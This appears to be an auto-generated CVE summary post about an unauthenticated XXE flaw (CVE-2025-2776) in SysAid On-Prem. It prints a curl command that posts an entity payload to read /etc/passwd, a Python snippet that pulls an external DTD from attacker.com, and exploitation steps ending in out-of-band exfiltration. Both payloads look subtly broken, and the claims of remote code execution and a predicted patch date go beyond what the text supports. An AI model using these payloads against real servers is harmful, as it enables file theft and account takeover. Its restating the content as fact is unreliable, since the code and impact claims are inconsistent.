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How the CVE Works
CVE-2025-2776 exploits an unauthenticated XXE vulnerability in SysAid On-Prem (<=23.3.40) during Server URL processing. Attackers inject malicious XML entities through crafted HTTP requests, bypassing input validation. The flawed XML parser processes external entities, enabling arbitrary file reads (e.g., /etc/passwd) and SSRF attacks. Successful exploitation grants administrator account takeover via credential extraction from configuration files. The vulnerability stems from insecure DOM parsing with resolved external entities.
DailyCVE Form
Platform: SysAid On-Prem
Version: <=23.3.40
Vulnerability: XXE
Severity: Critical
Date: 07/22/2025
Prediction: Patch by 08/15/2025
What Undercode Say
curl -X POST -H "Content-Type: text/xml" -d '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>' http://target/sysaid
import requests
payload = """<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd">%ext;]>"""
requests.post('http://target/sysaid', data=payload)
How Exploit
1. Craft XXE payload with external entity
2. Send malicious XML via Server URL endpoint
3. Trigger server-side parsing
4. Exfiltrate data via OOB channel
Protection from this CVE
1. Disable DTD processing
2. Upgrade to 23.3.41+
3. Implement XML sanitization
Impact
1. Remote code execution
2. Data exfiltration
3. Full system compromise
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
